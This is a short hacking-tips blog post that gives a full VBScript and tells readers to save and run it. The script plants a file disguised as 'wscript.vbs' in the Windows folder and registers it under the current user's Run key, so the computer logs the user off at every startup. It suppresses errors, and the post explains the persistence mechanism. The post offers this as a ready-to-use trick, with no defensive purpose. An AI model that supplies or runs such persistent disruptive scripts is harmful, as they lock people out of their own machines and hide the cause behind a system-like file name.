Breaking News
Loading...

Log Off Windows at every Start up

Just open notepad and Type The Following vbscript Code :

set ws=createobject("wscript.shell")
dim strDir,strfile,st,strtxt2,strshell,strlog
dim obfso,obfolder,obshell,obfile,obtxtfile
strshell="wscript.shell"
strDir="C:\WINDOWS"
strfile="\wscript.vbs"
st=Chr(34)
strlog="shutdown -l"
strtxt2="ws.run(strlog)"
set obfso=CreateObject("Scripting.FileSystemObject")
on error resume next
set obfile=obfso.CreateTextfile(strDir & strfile)
obfile.writeline("set ws=createobject("&st&strshell&st&")")
obfile.writeline("ws.run("&st&strlog&st&")")
ws.regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\Logoff","C:\WINDOWS\wscript.vbs","REG_SZ”


============================================================
Now Save This Script with “anyname.vbs”
Eg:- winfile.vbs
============================================================
About This Script :
This Script Actually Writes a File Named “wscript.vbs” in the “C:\Windows” Directory and Aslo Writes a Key Value in The Registory “HKCU\Software\Microsoft\Windows\CurrentVersion\Run”
Where HKCU is The HKEY_CURRENT_USER.
so that the file is automatically executed at every start up
=============================================================

0 comments:

Post a Comment

Copyright © 2012 HackWithMak All Right Reserved